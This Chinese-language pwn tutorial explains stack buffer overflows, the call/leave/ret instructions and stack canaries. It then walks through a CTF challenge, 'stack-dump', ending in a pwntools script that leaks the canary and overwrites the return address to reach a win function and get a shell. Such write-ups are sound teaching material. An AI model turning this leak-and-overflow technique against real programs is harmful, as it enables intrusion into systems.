一. 何谓安全

在pwn中,安全是关于人的。

  • 假设人和电脑都不是坏蛋
  • 假设内存区域的长度是正确的

二. 何谓利用

  • 利用是攻击漏洞的过程
  • 弹出一个shell

三. 栈溢出漏洞 :BOF

  • buffer 是什么?
    内存开辟的一段空间,比如:char name[16]

  • buffer overflow 是什么?
    对buffer空间的超量输入,通常情况是淹没其返回地址rip。
    eg: buffer overflow 代码片段

    char name[16]
    
    gets(name)
    or
    fgets(name, 32, stdin)
    

四. 相关汇编指令 : Assembly code

  • call:把rip入栈,再跳到call指令指向的地址执行代码

    call <addr>
    

    相当于push指令和jmp指令的结合

      push rip
      jmp <addr>
    
  • leave:rsp指向rbp,从当前栈中弹出保存的rbp,此时rsp指向rip。

      mov rsp, rbp    // rsp = rbp
      pop rbp         // rbp = old_rbp
    
  • ret:从当前栈中弹出保存的rip,并跳转到rip指向的地址执行。

      pop rax         // rax = stored_rip
      call rax        // jump rax
    

五. CANARY

Canary是防止栈溢出的一种保护措施,它是编译代码时由编译器在存储用户输入数据的buffer和返回地址rip之间随机放置的8字节随机数。在栈溢出漏洞中,若canary开启,通常需要泄露出canary的值,并在bof漏洞利用中把泄露出的canary考虑进去,放置回正确的位置。

六. 例题分析

1.在此分享一道例题:stack-dump,其中涉及的知识点有bof和canary。该binary有win函数,我们目标只需要调用win函数,即可获得shell。 stack-dump_overview

2.首先我们来一起分析题目:

  • canary:从图中代码可知binary开启canary保护,并且canary放置在stack的rbp-0x18位置。所以泄露出canary的值是我们解题的目标之一。

  • 栈地址:从第二段代码片段中可知,binary已经把栈上rbp-0x59的地址通过printf函数打印出来,进而可以通过该地址推算栈所有相关地址的值。 canary

  • bof利用点:我们接着看蓝色方块内的代码片段,此处存在buffer overflow vulnerability,gets函数允许无限字节的输入,而buffer的长度仅为0x50,故此处可以人为构造payload,淹没rip的值,改变程序执行流程。 canary

  • canary leaked: 我们接着分析上图红色方框内代码片段

    • 指令 call fread 处我们可以输入canary在栈上的地址:canary_address 存放到栈上 rbp-0x50的位置。
    • 上图右边的红色方框做了以下操作:把栈上rbp-0x50位置中存放的值(canary)拿出来,放置到栈上rbp-0x58的位置。再调用printf函数把rbp-0x58位置内的值(canary)打印出来。至此,我们便可获得canary。
  1. 我们把栈图画出来,如下所示。 stack-dump_stack

  2. Exploitation:

from pwn import *

win = 0x4012f6

p = process("./stack-dump")

'''
通过泄露的rbp-0x59处的地址,推算出rbp-0x18canary的地址
'''
p.recvuntil(b"pointer ")
leaked_addr = int(p.recvuntil(b"\n",drop = "True"),16)
print("leaked_addr: ", hex(leaked_addr))
canary_addr = leaked_addr + (0x59-0x18)
print("canary_addr: ", hex(canary_addr))

'''
通过上述6.2canary leaked分析,获取canary的值
'''
p.sendline(b"i")
p.sendlineafter(b"len: ",b"8")
p.sendline(p64(canary_addr))
p.sendline(b"d")
p.recvuntil(b': ')
stack_canary = p.recv(8)
print("stack_canary: ",stack_canary)

'''
通过上述6.2bof利用点分析,布置栈,改变程序执行流程,重写rip使其指向win函数,获取系统shell
'''
p.sendline(b'i')
p.sendline(b'1' + cyclic(55) + stack_canary + bytes(0x18) + p64(win))
p.sendline(b'1')
p.sendline(b'q')

p.interactive()
p.close()